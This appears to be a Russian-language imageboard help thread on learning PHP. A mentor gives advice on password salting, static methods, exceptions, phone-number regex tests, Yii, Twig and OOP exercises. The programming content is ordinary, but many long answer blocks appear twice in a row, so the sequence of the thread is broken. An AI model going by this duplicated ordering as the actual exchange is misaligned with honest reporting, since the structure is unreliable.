MyClass::$field
MyClass::doSomething()
>>546597
А ты урок читал? https://gist.github.com/codedokode/9576319 Там написано что соль присоединяется к паролю и хешируется вместе с ним. Ну и конечно соль надо сохранять чтобы пароль можно было потом проверить.
>>546607
Как видишь 1-мерный массив не только проще, но и во многом удобнее. Однако, твои животные не должны выходить за края карты. Я бы советовал сделать метод проверки и периодически его вызывать, и при обнаружении несоответствий бросать исключение чтобы программист знал что он опять накосячил.
> вселенная бесконечна, расширяется не вселенная а материя в ней!
Я точно не знаю сам, что именно расширяется (да и знаем о расширении мы лишь по красному смещению, как я понимаю), так что не утверждал бы так уверенно.
>>546627
Почитай какие настройки есть для упралвния статикой, наверняка и кеш можно как-то отключить для сайта разработчика.
Тут http://www.yiiframework.com/forum/index.php?/topic/8889-working-with-assetmanager/ пишут в Yii1 файлы должны обновляться сами, а опубликованные папки можно заставить перепубликовывать с помощью параметра у метода publish()
>>546630
Крайне плохая идея писать HTML код внутри строки PHP кода. HTML должен быть в шаблоне.
Зависит от компании. Где-то делают сайты и твоей задачей например будет взять шаблон от верстальщика и интегрировать верстку в CMS, настроить ее, может быть разместить какие-то тексты. Или задачи в стиле «переделать меню на этом сайте». А бывают продуктовые компании, которые разрабатывают свои продукты, и там задачи другого порядка, исправить баги, дописать новый фкункционал.
Учить долго, полгода-год в зависимости от того сколько времени уделять.
Знать надо для начала HTML/CSS/JS/PHP/SQL + ООП/MVC/фреймворки. Открой сайт вакансий и почитай.
>>546596
> как мне тогда статичный токен сгененрировать для куки?
Статические бывают методы, а токен это строка которая одинаковая независимо от того статический или нет метод ее сгенерировал.
По твоему коду: объясни зачем это свойство:
> static protected $string;
И что делает эта команда:
> return self::$string;
> но ведь написано, что оно должно как-то так вызываться $cookieToken::generatePassword(8); не?
Как должно вызываться, написано в мануале: http://php.net/manual/ru/language.oop5.static.php
К сожалению, примеры кода там запутывают больше чем учат. Статические поля и методы это поля и методы которые относятся к классу, а не конкретному объекту и они вызываются через имя класса:
MyClass::$field
MyClass::doSomething()
>>546597
А ты урок читал? https://gist.github.com/codedokode/9576319 Там написано что соль присоединяется к паролю и хешируется вместе с ним. Ну и конечно соль надо сохранять чтобы пароль можно было потом проверить.
>>546607
Как видишь 1-мерный массив не только проще, но и во многом удобнее. Однако, твои животные не должны выходить за края карты. Я бы советовал сделать метод проверки и периодически его вызывать, и при обнаружении несоответствий бросать исключение чтобы программист знал что он опять накосячил.
> вселенная бесконечна, расширяется не вселенная а материя в ней!
Я точно не знаю сам, что именно расширяется (да и знаем о расширении мы лишь по красному смещению, как я понимаю), так что не утверждал бы так уверенно.
>>546627
Почитай какие настройки есть для упралвния статикой, наверняка и кеш можно как-то отключить для сайта разработчика.
Тут http://www.yiiframework.com/forum/index.php?/topic/8889-working-with-assetmanager/ пишут в Yii1 файлы должны обновляться сами, а опубликованные папки можно заставить перепубликовывать с помощью параметра у метода publish()
>>546630
Крайне плохая идея писать HTML код внутри строки PHP кода. HTML должен быть в шаблоне.
> Алсо немного не понял это: может ввести не только цифры, но и скобки, минусы, может что-то еще. В смысле, может ввести, но это не должно приниматься
Как раз наоборот, должны приниматься номера как с минусами и скобками так и без них. кто-то их пишет, а кто-то нет.
По поводу твоей задачи, пока рано что-то говорить, надо ее протестировать на разных номерах:
------ (паста) ------
Задачу про номера телефонов надо проверить на большом числе телефонов, чтобы убедиться что твой код правильный. Но руками подставлять номера — долго и скучно. Пусть работает робот, а не человек!
Для этого давай добавим в программу тесты, чтобы сразу было видно, верно все работает или нет. Сделай 2 списка номеров (правильные и нет), добавь их в программу и напиши цикл, который их по очереди прогоняет через регулярку и проверяет что они определяются как надо (если нет — надо вывести какой именно номер не распознается правильно).
Вот список номеров:
Правильные: array('84951234567', '+74951234567', '8-495-1-234-567', ' 8 (8122) 56-56-56', '8-911-1234567', '8 (911) 12 345 67', '8-911 12 345 67', '8 (911) - 123 - 45 - 67', '+ 7 999 123 4567', '8 ( 999 ) 1234567', '8 999 123 4567');
Неправильные: array('02', '84951234567 позвать люсю', '849512345', '849512345678',
'8 (409) 123-123-123', '7900123467', '5005005001', '8888-8888-88',
'84951a234567', '8495123456a',
'+1 234 5678901', // неверный код страны
'+8 234 5678901', // либо 8 либо +7
'7 234 5678901' // нет +
);
>>546641
Механизм сессий в Юи настраиваемый. У тебя есть 3 варианта:
- разобраться как сделаны сессии на сайте и заставить Юи использовать тот же механизм, то есть возможно покрутить настройки, возможно написать свой класс для работы с сессиями
- написать отдельный компонент для работы с сессиями сайта, не трогая сессии Юи
- забить на это. Так ли тебе нужны эти сессии?
>>546643
> public function __construct() {
> $this->x = mt_rand();
Насчет этого не уверен. Мне кажется координаты должен проставлять тот кто создает объект и ставит на карту, а не мышь сама себе.
> public function move() {
> for ($x = $this->x - $speed; $x <= $this->x + $speed; $x++) {
> //определяем расстояние до кошки и высчитываем баллы
Нет, нехорошо. Ты хочешь все засунуть в 1 функцию и получить длинную запутанную простыню. Разбивай код на отдельные функции:
- получить список возможных ходов
- оценить их (отдельно должна быть функция оценки 1 хода)
- выбрать лучший
- сделать его
Заметь что часть из этих функций одинакова и для кошки и для мышки (как минимум выбор лучшего хода).
>>546646
Тебе не надо писат обертку для PDO. И ловить исключения тоже не надо, так как по умолчанию в PHP исключение записывается в лог, программа завершается (а пользователь видит белый экран).В случае Слима, он устанавливает обработчик исключний и вместо белого экрана показывает заглушку.
Писать в одной функции throw и catch не имеет никакого смысла. В твоем коде проще сделать if вместо throw/catch (то есть сразу вызывать myMethod() при ошибке). Но это все равно будет неправильно. правильно будет сделать только throw без try/catch.
Перечитай урок про исключения внимательно и разберись для чего они нужны. Надо понимать саму идею, концепцию исключений.
>>546670
Если ты при ошибке бросаешь исключение, затем тут же его ловишь и вызываешь myMethod() то гораздо проще сразу вызывать этот метод без try/catch. Это говорит о том что код неправильный.
> Алсо немного не понял это: может ввести не только цифры, но и скобки, минусы, может что-то еще. В смысле, может ввести, но это не должно приниматься
Как раз наоборот, должны приниматься номера как с минусами и скобками так и без них. кто-то их пишет, а кто-то нет.
По поводу твоей задачи, пока рано что-то говорить, надо ее протестировать на разных номерах:
------ (паста) ------
Задачу про номера телефонов надо проверить на большом числе телефонов, чтобы убедиться что твой код правильный. Но руками подставлять номера — долго и скучно. Пусть работает робот, а не человек!
Для этого давай добавим в программу тесты, чтобы сразу было видно, верно все работает или нет. Сделай 2 списка номеров (правильные и нет), добавь их в программу и напиши цикл, который их по очереди прогоняет через регулярку и проверяет что они определяются как надо (если нет — надо вывести какой именно номер не распознается правильно).
Вот список номеров:
Правильные: array('84951234567', '+74951234567', '8-495-1-234-567', ' 8 (8122) 56-56-56', '8-911-1234567', '8 (911) 12 345 67', '8-911 12 345 67', '8 (911) - 123 - 45 - 67', '+ 7 999 123 4567', '8 ( 999 ) 1234567', '8 999 123 4567');
Неправильные: array('02', '84951234567 позвать люсю', '849512345', '849512345678',
'8 (409) 123-123-123', '7900123467', '5005005001', '8888-8888-88',
'84951a234567', '8495123456a',
'+1 234 5678901', // неверный код страны
'+8 234 5678901', // либо 8 либо +7
'7 234 5678901' // нет +
);
>>546641
Механизм сессий в Юи настраиваемый. У тебя есть 3 варианта:
- разобраться как сделаны сессии на сайте и заставить Юи использовать тот же механизм, то есть возможно покрутить настройки, возможно написать свой класс для работы с сессиями
- написать отдельный компонент для работы с сессиями сайта, не трогая сессии Юи
- забить на это. Так ли тебе нужны эти сессии?
>>546643
> public function __construct() {
> $this->x = mt_rand();
Насчет этого не уверен. Мне кажется координаты должен проставлять тот кто создает объект и ставит на карту, а не мышь сама себе.
> public function move() {
> for ($x = $this->x - $speed; $x <= $this->x + $speed; $x++) {
> //определяем расстояние до кошки и высчитываем баллы
Нет, нехорошо. Ты хочешь все засунуть в 1 функцию и получить длинную запутанную простыню. Разбивай код на отдельные функции:
- получить список возможных ходов
- оценить их (отдельно должна быть функция оценки 1 хода)
- выбрать лучший
- сделать его
Заметь что часть из этих функций одинакова и для кошки и для мышки (как минимум выбор лучшего хода).
>>546646
Тебе не надо писат обертку для PDO. И ловить исключения тоже не надо, так как по умолчанию в PHP исключение записывается в лог, программа завершается (а пользователь видит белый экран).В случае Слима, он устанавливает обработчик исключний и вместо белого экрана показывает заглушку.
Писать в одной функции throw и catch не имеет никакого смысла. В твоем коде проще сделать if вместо throw/catch (то есть сразу вызывать myMethod() при ошибке). Но это все равно будет неправильно. правильно будет сделать только throw без try/catch.
Перечитай урок про исключения внимательно и разберись для чего они нужны. Надо понимать саму идею, концепцию исключений.
>>546670
Если ты при ошибке бросаешь исключение, затем тут же его ловишь и вызываешь myMethod() то гораздо проще сразу вызывать этот метод без try/catch. Это говорит о том что код неправильный.
По ООП мало теории, нужно закреплять это практикой. У нас есть в последней главе учебника задачи «Вектор» и «Кошки мышки». Если ты знаешь ООП на пять, ты их решишь за полчаса каждую. Если не знаешь что-то, то пару неделек помучаешься. Рекомендую решить чтобы лучше понимать ООП и как именно с помощю классов мы строим модель предметной области для решения задачи.
>>546671
За 1 запрос никак. Надо делать запросы в цикле, идя вверх по дереву. Однако, есть более эффективные способы хранения деревьев в БД, которые позвояют быстро получать нужные данные. О них написано в моем уроке: https://github.com/codedokode/pasta/blob/master/db/trees.md
>>546674
> А у меня все в PDO try {} catch.
А зачем?
> наверное, exception нужно только внутри классов делать.
Что делать? Бросать? Ловить? Я не понял.
>>546828
> Почему бы не вынести функцию отлавливания catch'ем в контроллер
Зачем ты хочешь ловить исключения?
>>546834
Надо HTML/CSS/JS/SQL/PHP + ООП/MVC/фреймворки, это месяцев 4-12 в зависимости от имеющихся знаний и сколько ты времени будешь уделять.
Посмотри шапку треда, там есть задания почти на все эти темы.
>и думал влезть на фриланс.
Имей в виду что офлайновая или удаленная работа может быть комфортнее так как работа есть постоянно, и тебе не надо тратить кучу времени на бесплатные переговоры с заказчиками. Не каждый может зарабатывать на фрилансе.
>>546844
> без фрэймворков?
Смысл? Ты хочешь иметь неактуальные и не нужные на рынке труда знания?
> Какую-бы книжку посовременнее взять, чтобы для ньюфагов
Не знаю, в ОП посте есть мой учебник для начинабщих и 2 не очень новых, но хороших книги не для начинающих.
>>546941
А зачем ты взял такой сложный пример? Чтобы правильно настроить отправку писем надо знать особенности работы SMTP, и особенности настройки почтовых служб в линукс. Я тебе рекомендовал бы если ты начинающий, не начинать с работы с почтой.
Также имей в виду, что ты не можешь просто брать и отправлять письма со своего компьютера — с веротяностью 90% они пойдут в спам или не будут приниматься почтовыми серверами. А чтобы отслыать через аккаунт на gmail/yandex надо разбираться с натстройками SMTP + они могут тебя забанить опять же подумав что ты спамер или бот (а могут и не забанить конечно).
> Делаю все как здесь webhamster.ru
Эта статья рассчитана на тех кто на среднем уровне знает линукс и командную строку. Ты знаешь? Если нет, лучше начать с его изучения (ну или пока не браться за отправку почты)
Если тебе интересно, то на реальных проектах обычно используют библиоетку вроде Swiftmailer и ее настройка сводится к прописыванию имен/паролей/адреса сервера для отправки почты, а устанавливать ничего не приходится (или этим занимается сисадмин).
> из консоли ничего не происходит, браузер просто бесконечно грузит пхп файл.
Надо изучать что происходит, например читать логи почтового агента.
> Пробовал отправлять с гмэила и яндекса, на гмэил один раз пришло письмо, типа была попытка зайти с неизвестного устройства.
Там надо что-то в настройках менять скорее всего.
> Такое чувство, что все стопорится самим почтовым ящиком, но что он о себе возомнил?
защита от спамеров и взломщиков
> Я ведь не могу двигаться дальше, пока не превозмогу это препятствие.
Можешь, забей на почту и изучай PHP
По ООП мало теории, нужно закреплять это практикой. У нас есть в последней главе учебника задачи «Вектор» и «Кошки мышки». Если ты знаешь ООП на пять, ты их решишь за полчаса каждую. Если не знаешь что-то, то пару неделек помучаешься. Рекомендую решить чтобы лучше понимать ООП и как именно с помощю классов мы строим модель предметной области для решения задачи.
>>546671
За 1 запрос никак. Надо делать запросы в цикле, идя вверх по дереву. Однако, есть более эффективные способы хранения деревьев в БД, которые позвояют быстро получать нужные данные. О них написано в моем уроке: https://github.com/codedokode/pasta/blob/master/db/trees.md
>>546674
> А у меня все в PDO try {} catch.
А зачем?
> наверное, exception нужно только внутри классов делать.
Что делать? Бросать? Ловить? Я не понял.
>>546828
> Почему бы не вынести функцию отлавливания catch'ем в контроллер
Зачем ты хочешь ловить исключения?
>>546834
Надо HTML/CSS/JS/SQL/PHP + ООП/MVC/фреймворки, это месяцев 4-12 в зависимости от имеющихся знаний и сколько ты времени будешь уделять.
Посмотри шапку треда, там есть задания почти на все эти темы.
>и думал влезть на фриланс.
Имей в виду что офлайновая или удаленная работа может быть комфортнее так как работа есть постоянно, и тебе не надо тратить кучу времени на бесплатные переговоры с заказчиками. Не каждый может зарабатывать на фрилансе.
>>546844
> без фрэймворков?
Смысл? Ты хочешь иметь неактуальные и не нужные на рынке труда знания?
> Какую-бы книжку посовременнее взять, чтобы для ньюфагов
Не знаю, в ОП посте есть мой учебник для начинабщих и 2 не очень новых, но хороших книги не для начинающих.
>>546941
А зачем ты взял такой сложный пример? Чтобы правильно настроить отправку писем надо знать особенности работы SMTP, и особенности настройки почтовых служб в линукс. Я тебе рекомендовал бы если ты начинающий, не начинать с работы с почтой.
Также имей в виду, что ты не можешь просто брать и отправлять письма со своего компьютера — с веротяностью 90% они пойдут в спам или не будут приниматься почтовыми серверами. А чтобы отслыать через аккаунт на gmail/yandex надо разбираться с натстройками SMTP + они могут тебя забанить опять же подумав что ты спамер или бот (а могут и не забанить конечно).
> Делаю все как здесь webhamster.ru
Эта статья рассчитана на тех кто на среднем уровне знает линукс и командную строку. Ты знаешь? Если нет, лучше начать с его изучения (ну или пока не браться за отправку почты)
Если тебе интересно, то на реальных проектах обычно используют библиоетку вроде Swiftmailer и ее настройка сводится к прописыванию имен/паролей/адреса сервера для отправки почты, а устанавливать ничего не приходится (или этим занимается сисадмин).
> из консоли ничего не происходит, браузер просто бесконечно грузит пхп файл.
Надо изучать что происходит, например читать логи почтового агента.
> Пробовал отправлять с гмэила и яндекса, на гмэил один раз пришло письмо, типа была попытка зайти с неизвестного устройства.
Там надо что-то в настройках менять скорее всего.
> Такое чувство, что все стопорится самим почтовым ящиком, но что он о себе возомнил?
защита от спамеров и взломщиков
> Я ведь не могу двигаться дальше, пока не превозмогу это препятствие.
Можешь, забей на почту и изучай PHP
> for ($i = $length; $i >= $skip; $i--) {
Зачем введена переменная $i? Почему нельзя написать count($humans)? В твоем варианте получается сложнее так как надо иметь гарантию что $i всегда соответствует числу человек. Проще не заводить эту переменную вообще, а брать реальное число элементов в массиве. А с переменной всегда есть риск расхождения в количестве из-за какого-нибудь бага.
> if ($count >= count($humans)) {
> $count -= count($humans);
Это можно сделать красивее операцией взятия остатка от деления % , без if
Сам алгоритм вроде верный, но надо причесать код.
> задача про клавишу shift
> (\\s+)?
Это то же самое что \\s☆
В остальном, верно. Реши-ка еще задачку про номера телефонов, с проверкой по большому списку номеров, раз ты не очень знаешь регулярки.
> задача про переворот слов
> $arr
Не называй так переменную, так как это ничего не значит. В данном случае у нас список предложений, потому логично назвать переменную $sentences
Также, у тебя тут 2 цикла. Но не логичнее ли оставить 1 цикл, а функцию makeFirstletterUppercase заставить работать только с 1 предложением, а не с их массивом?
В остальном хорошо.
>>546980
> Чего твиг выбрасывает исключение при обращении к несуществующему свойству?
А в какой ситуации может понадобиться обратиться к несуществующему свойству? У объектов список свойств фиксированный и известный заранее, следовательно в правильном коде обращений к несуществующему свойству быть не может.
> Заведомую ерунду типа abc или x.y он спокойно приводит к null
Это плохо. Поставь в твиге опцию strict_variables в true чтобы прекратить это безобразие. (опции, ссылка на англ: http://twig.sensiolabs.org/doc/api.html#environment-options )
> Все равно выкидывает исключение.
Скорее всего твой код неправильный. Не обращайся к несуществующим свойствам, элементам массива, переменным.
default предназначен не для случаев когда поля нет, а когда оно есть, но пустое.
>>547026
> соответственно в главной модели есть свойства (и геттеры) только для общих полей.
Если ты сам реализовал магический метод __get то должен реализовать и __isset чтобы работали проверки наличия свойства через это самое isset()
> Для полей eav геттеров не было
Ничего не понимаю, но звучит как будто ошибка в твоем коде.Не должно быть такого, что свойство может быть а может не быть. Это не код, а свалка тогда получается с которым нельзя надежно работать.
>>547063
> mt_rand(1, count($word1)-1);
Индексы в массиве начинаются с 0, а не с 1. А в остальном верно.
Делать функции, как советует другой анон, не требуется так как ты пока их не изучил, потом изучишь в следующих уроках.
>>547077
А ты тут http://www.yiiframework.com/doc-2.0/yii-base-model.html#load()-detail читал что делает load()? Вообще, должно работать, это скорее ты что-то напутал, попробуй например сдампаить что приходит в коде.
Также, я не понимаю, зачем делать аякс отправку для регистрации? В Юи и так есть аякс-проверка форм, тебе достаточно толкьо правильно валидацию настроить (а отправка и дет обычным способом).
Также, ты неправильно сделал работу с аяксом. Я не вижу тут обработки ошибок отправки или получения данных. А ошибки надо обрабатывать, сервер может упасть, соединение быть плохим и тд.
> for ($i = $length; $i >= $skip; $i--) {
Зачем введена переменная $i? Почему нельзя написать count($humans)? В твоем варианте получается сложнее так как надо иметь гарантию что $i всегда соответствует числу человек. Проще не заводить эту переменную вообще, а брать реальное число элементов в массиве. А с переменной всегда есть риск расхождения в количестве из-за какого-нибудь бага.
> if ($count >= count($humans)) {
> $count -= count($humans);
Это можно сделать красивее операцией взятия остатка от деления % , без if
Сам алгоритм вроде верный, но надо причесать код.
> задача про клавишу shift
> (\\s+)?
Это то же самое что \\s☆
В остальном, верно. Реши-ка еще задачку про номера телефонов, с проверкой по большому списку номеров, раз ты не очень знаешь регулярки.
> задача про переворот слов
> $arr
Не называй так переменную, так как это ничего не значит. В данном случае у нас список предложений, потому логично назвать переменную $sentences
Также, у тебя тут 2 цикла. Но не логичнее ли оставить 1 цикл, а функцию makeFirstletterUppercase заставить работать только с 1 предложением, а не с их массивом?
В остальном хорошо.
>>546980
> Чего твиг выбрасывает исключение при обращении к несуществующему свойству?
А в какой ситуации может понадобиться обратиться к несуществующему свойству? У объектов список свойств фиксированный и известный заранее, следовательно в правильном коде обращений к несуществующему свойству быть не может.
> Заведомую ерунду типа abc или x.y он спокойно приводит к null
Это плохо. Поставь в твиге опцию strict_variables в true чтобы прекратить это безобразие. (опции, ссылка на англ: http://twig.sensiolabs.org/doc/api.html#environment-options )
> Все равно выкидывает исключение.
Скорее всего твой код неправильный. Не обращайся к несуществующим свойствам, элементам массива, переменным.
default предназначен не для случаев когда поля нет, а когда оно есть, но пустое.
>>547026
> соответственно в главной модели есть свойства (и геттеры) только для общих полей.
Если ты сам реализовал магический метод __get то должен реализовать и __isset чтобы работали проверки наличия свойства через это самое isset()
> Для полей eav геттеров не было
Ничего не понимаю, но звучит как будто ошибка в твоем коде.Не должно быть такого, что свойство может быть а может не быть. Это не код, а свалка тогда получается с которым нельзя надежно работать.
>>547063
> mt_rand(1, count($word1)-1);
Индексы в массиве начинаются с 0, а не с 1. А в остальном верно.
Делать функции, как советует другой анон, не требуется так как ты пока их не изучил, потом изучишь в следующих уроках.
>>547077
А ты тут http://www.yiiframework.com/doc-2.0/yii-base-model.html#load()-detail читал что делает load()? Вообще, должно работать, это скорее ты что-то напутал, попробуй например сдампаить что приходит в коде.
Также, я не понимаю, зачем делать аякс отправку для регистрации? В Юи и так есть аякс-проверка форм, тебе достаточно толкьо правильно валидацию настроить (а отправка и дет обычным способом).
Также, ты неправильно сделал работу с аяксом. Я не вижу тут обработки ошибок отправки или получения данных. А ошибки надо обрабатывать, сервер может упасть, соединение быть плохим и тд.
Он пока это не изучил, рановато.
>>547084
Не надо называть переменную $arr так как это ничего не значит.
>>547132
> Фильтр date выводит английские версии, несмотря на таймзону:
А какое отношение таймзона имеет к локали? Таймзона определяет в каком ты часовом поясе и соответственно как тебе надо показывать время UTC (время по Гринвичу). А локаль определяет формат вывода даты (что идет сначала, день/месяц), язык вывода названий месяцев и даже кодировку. Локаль задается переменными окружения и конструкциями вроде setlocale и лучше на нее не полагаться, у нее много проблем, например какие-то локали могут быть не установлены на сервере.
В твоем случае ты задал формат даты явно: 'd F', указал таймзону (то есть сколько часов вычитать/приабавлять к UTC времени хранящемся в model.added). Если ты хочешь чтобы выводилось время в UTC (точно то же что хранится в added), то нужно указать соответствующую таймзону. Иначе у тебя может выводиться время на несколько часов раньше (то есть model.added хранит время по Гринвичу, а date переводит его в Московское).
Кстати в мануале написано про локаль (это если ты хочешь месяцы на русском): http://be2.php.net/manual/en/function.date.php
> To format dates in other languages, you should use the setlocale() and strftime() functions instead of date().
Если twig использует date(), то это нам не поменять и я советую просто напсиать свой модификатор который будет выводить данные как тебе надо.
Опиши в чем конкретно твоя проблема и что выводится не так.
>>547242
Какой-то сомнительный совет. Тип TIMESTAMP в БД и так хранит время с часовым поясом, а вот DATETIME не хранит часовой пояс и это уже твой выбор как понимать эту дату: как UTC или местное время. Да и ты по моему не понял в чем проблема (я сам до конца не понял).
>>547174
В случае с формами надо не использовать сессии, а при ошибке сразу выводить форму с данными и текстом ошибки. Почитай урок про работу с формами: https://github.com/codedokode/pasta/blob/master/forms.md
(в сторону) Почему этот алгоритм только у меня написан, а в других учебниках его нет? Кто их пишет? Неучи?
>>547239
> Так вот, эти все преобразования лучше производить сразу в модели, или же лучше в представлении?
Смотря какие. Если тебе надо дату отформатировать или размер файла в мегабайты перевести то в предсталвении. А если ты делаешт сложные манипуляции с массивами, то в модели но возникает вопрос, а почему ты так любишь массивы и точно ли ты разобрался с ООП?
Давай конкретный пример.
> И еще вопрос, нормально ли писать запросы в контроллере, или лучше через гетеры получать из модели?
Весь SQL код должен быть в отдельных классах, по 1 классу на таблицу. Читай про способы работы с БД в ООП мире: https://github.com/codedokode/pasta/blob/master/db/patterns-oop.md
Он пока это не изучил, рановато.
>>547084
Не надо называть переменную $arr так как это ничего не значит.
>>547132
> Фильтр date выводит английские версии, несмотря на таймзону:
А какое отношение таймзона имеет к локали? Таймзона определяет в каком ты часовом поясе и соответственно как тебе надо показывать время UTC (время по Гринвичу). А локаль определяет формат вывода даты (что идет сначала, день/месяц), язык вывода названий месяцев и даже кодировку. Локаль задается переменными окружения и конструкциями вроде setlocale и лучше на нее не полагаться, у нее много проблем, например какие-то локали могут быть не установлены на сервере.
В твоем случае ты задал формат даты явно: 'd F', указал таймзону (то есть сколько часов вычитать/приабавлять к UTC времени хранящемся в model.added). Если ты хочешь чтобы выводилось время в UTC (точно то же что хранится в added), то нужно указать соответствующую таймзону. Иначе у тебя может выводиться время на несколько часов раньше (то есть model.added хранит время по Гринвичу, а date переводит его в Московское).
Кстати в мануале написано про локаль (это если ты хочешь месяцы на русском): http://be2.php.net/manual/en/function.date.php
> To format dates in other languages, you should use the setlocale() and strftime() functions instead of date().
Если twig использует date(), то это нам не поменять и я советую просто напсиать свой модификатор который будет выводить данные как тебе надо.
Опиши в чем конкретно твоя проблема и что выводится не так.
>>547242
Какой-то сомнительный совет. Тип TIMESTAMP в БД и так хранит время с часовым поясом, а вот DATETIME не хранит часовой пояс и это уже твой выбор как понимать эту дату: как UTC или местное время. Да и ты по моему не понял в чем проблема (я сам до конца не понял).
>>547174
В случае с формами надо не использовать сессии, а при ошибке сразу выводить форму с данными и текстом ошибки. Почитай урок про работу с формами: https://github.com/codedokode/pasta/blob/master/forms.md
(в сторону) Почему этот алгоритм только у меня написан, а в других учебниках его нет? Кто их пишет? Неучи?
>>547239
> Так вот, эти все преобразования лучше производить сразу в модели, или же лучше в представлении?
Смотря какие. Если тебе надо дату отформатировать или размер файла в мегабайты перевести то в предсталвении. А если ты делаешт сложные манипуляции с массивами, то в модели но возникает вопрос, а почему ты так любишь массивы и точно ли ты разобрался с ООП?
Давай конкретный пример.
> И еще вопрос, нормально ли писать запросы в контроллере, или лучше через гетеры получать из модели?
Весь SQL код должен быть в отдельных классах, по 1 классу на таблицу. Читай про способы работы с БД в ООП мире: https://github.com/codedokode/pasta/blob/master/db/patterns-oop.md
>>547246
preg_match ищет только первое совпадение, а тебе нужен preg_match_all который ищет все совпадения и он описан где-то в конце урока про регулярки
>>547252
Почитай-ка про алогритм обработки форм. Валидация вообще должна быть где-то в отдельном классе или методе а не в контроллер засунута. Контроллер должен быть тонкий (маленький).
>>547283
> но теперь беда в том что не хочет выводить полностью предложения если задавать длину переменной, если выставлять руками (например 40)
Надо не выставлять руками а почитать. Для чего тебе компьютер дан? Алсо если использовать array_map то это делается в 1 строку без циклов.
>>547546
> $p = new Person();
Не передал нужный объект
Алсо код очень странный. Я бы советовал по ООП лучше решить наши задачи Вектор и Кошки-Мышки. Также, не используй древние виндовые кодировки, используй utf-8
>>547634
Функция createQuestions() как следует из ее названия, создает список вопросов. В PHPэтот список представлен в виде массива объектов класса Question где один объект хранит информацию об одном вопросе, сколько вопросов, столько и объектов
>>547746
Флоаты изучал? Если что, наши задачи на hTML/CSS помогли бы тебе с ними в том числе разобраться.
>>547246
preg_match ищет только первое совпадение, а тебе нужен preg_match_all который ищет все совпадения и он описан где-то в конце урока про регулярки
>>547252
Почитай-ка про алогритм обработки форм. Валидация вообще должна быть где-то в отдельном классе или методе а не в контроллер засунута. Контроллер должен быть тонкий (маленький).
>>547283
> но теперь беда в том что не хочет выводить полностью предложения если задавать длину переменной, если выставлять руками (например 40)
Надо не выставлять руками а почитать. Для чего тебе компьютер дан? Алсо если использовать array_map то это делается в 1 строку без циклов.
>>547546
> $p = new Person();
Не передал нужный объект
Алсо код очень странный. Я бы советовал по ООП лучше решить наши задачи Вектор и Кошки-Мышки. Также, не используй древние виндовые кодировки, используй utf-8
>>547634
Функция createQuestions() как следует из ее названия, создает список вопросов. В PHPэтот список представлен в виде массива объектов класса Question где один объект хранит информацию об одном вопросе, сколько вопросов, столько и объектов
>>547746
Флоаты изучал? Если что, наши задачи на hTML/CSS помогли бы тебе с ними в том числе разобраться.
>Флоаты изучал? Если что, наши задачи на hTML/CSS помогли бы тебе с ними в том числе разобраться.
Но ведь в заданиях как раз и говорится что флоаты лучше не использовать!
Первая ссылка по запросу "upload pic to a form from camera":
http://stackoverflow.com/questions/17241707/using-form-input-to-access-camera-and-immediately-upload-photos-using-web-app
...Кстати, спасибо за идею, попробую прикрутить к своему файлообменнику потом.
Что значит соль хэшируется? Я так понимаю, это просто усложняет пароль, который хранится в БД, чтобы его прямо из бд не вытащили? т.е. в инпут юзер вводит один и тот же пароль? (но ведь могут подобрать пароль, перебирая цифры и вводя их в инпут, а не ломая бд, не?)
>на сервере ни в каких таблицах они никак не хранятся.
Ну смотри, я например через слим генерирую ключ для куки. И этот же ключ добавляю в таблицу, потом беру его из таблицы $app->setCookie('username', $cookieKey, time()+86400*4); $app->requestCookie(); и сверяю их. Если они совпадают, то делаю что-то.
http://softwaremaniacs.org/blog/2005/09/05/css-layout-flow-margins/
>ВЫВАЛИВАНИЕ ЗА РОДИТЕЛЬСКИЕ ГРАНИЦЫ
проверил на jsfiddle, не происходит никакого вываливания, а вот схлопывание работает, да.
https://jsfiddle.net/32ncdncy/2/
public static function pewpew()
function pewpew()
Ты вызываешь один и тот же метод. Способы обращения к нему через класс или экземпляр равнозначны.
То, что к обычному методу можно обратиться из статического контекста (через две точки вместо стрелки) - косяк php, который разработчики преподносят как фичу.
Модификатор доступа (public) для методов можно не писать, потому что все методы публичны по умолчанию, но по правилам хорошего тона и psr принято всегда писать.
я не очень понимаю, что там должно быть статичным и не меняемым в этих статик функциях..
Что лучше, дальше оттачивать скилзы в php или уже переквалифицироваться в java? Хоть я далеко не макака, но и не настолько задрот, чтобы учить все тонкости другого ЯП просто ради фана.
Как люди выбирают свой путь? Гнаться за денежными профитами или остановиться в том, в чем уже хорош?
разобрался, дело в том, что, если задать границы, то эффект вываливания исчезает.
Спасибо за ответы, ОП!
Я сделал эти две задачи, сам бы успокоился и забыл про них, но если ты найдёшь минутку проверить, будет здорово, потому что я всё-таки не уверен:
1) про телефоны http://ideone.com/ynYv7Q , я не нашёл ничего лучше, чем сперва удалить все тире, пробелы и скобки, чтобы не задавать кучу вариантов, а потом просто проверить на наличие +7 или 8 и количество цифр следом. Правильно думаю?
2) про грамматического национал-социалиста http://ideone.com/fFxoSo , вроде всё находит, но единственный момент - как я понял, нельзя проверить всё-таки разными правилами в одном регэкспе, пробовал задавать в скобках - он начинает, конечно, с того места, где проверил последнее, про оффсет читал, но это всё равно цикл надо какой-то делать, я задал 4 разных регэкспа на разные правила и последовательно ими прошёл, сойдёт?
Также спасибо >>547261-куну за совет. Такой добродвач у вас тут.
preg_match_слоупок
алсоу в задаче про телефоны есть повторяющиеся куски кода, я мог бы сделать это функцией, но решил, что это лишнее усложнение, да и понять хочется именно регэкспы.
Задачу не читал. Но похоже ты говоришь про массивы, а в данном случае, про массив из объектов.
Пригодится ли скилл php потом?
а дело не в php, а в web-разработке в целом. Изучишь сам процесс, подходы, технологии. Перейти на ruby, python не проблема. Если ты думаешь, что php умер, то это не так
>Исследователь из Google будет заниматься проблемами безопасности PHP — В своем письме в php.internals Matt Tait обещает в краткосрочной перспективе удостовериться, что все настройки безопасности компилятора и операционной системы для PHP включены по умолчанию. В долгосрочной перспективе заинтересован в реализации дополнительных возможностей для обеспечения безопасности PHP-приложений. Первым результатом работы Мэтта стал ниже приведенный RFC.
>Исследователь из Intel будет заниматься производительностью PHP — Bogdan Andone пишет о том, что компания Intel заинтересована в активном участии в проекте PHP и в поиске новых возможностей для улучшения производительности. Вместе с объявлением прилагался пулл-реквест по улучшению работы с памятью.
Забавно, но у меня противоположная ситуация, я изучаю php/html/css а в городе есть вакансия junior android developer и еще одна по java.
Что за город?
Просто мне всегда казалось, что PHP - язык разного рода индусов, лол. Хотя я сам тот еще индус.
http://ideone.com/67Gc5x
Рулетку и игру про два кубика вроде запилил. Работают вроде, но мне кажется что я индус дохуя и неправильно понял задание. Проверь а?
https://ideone.com/IFbiYM
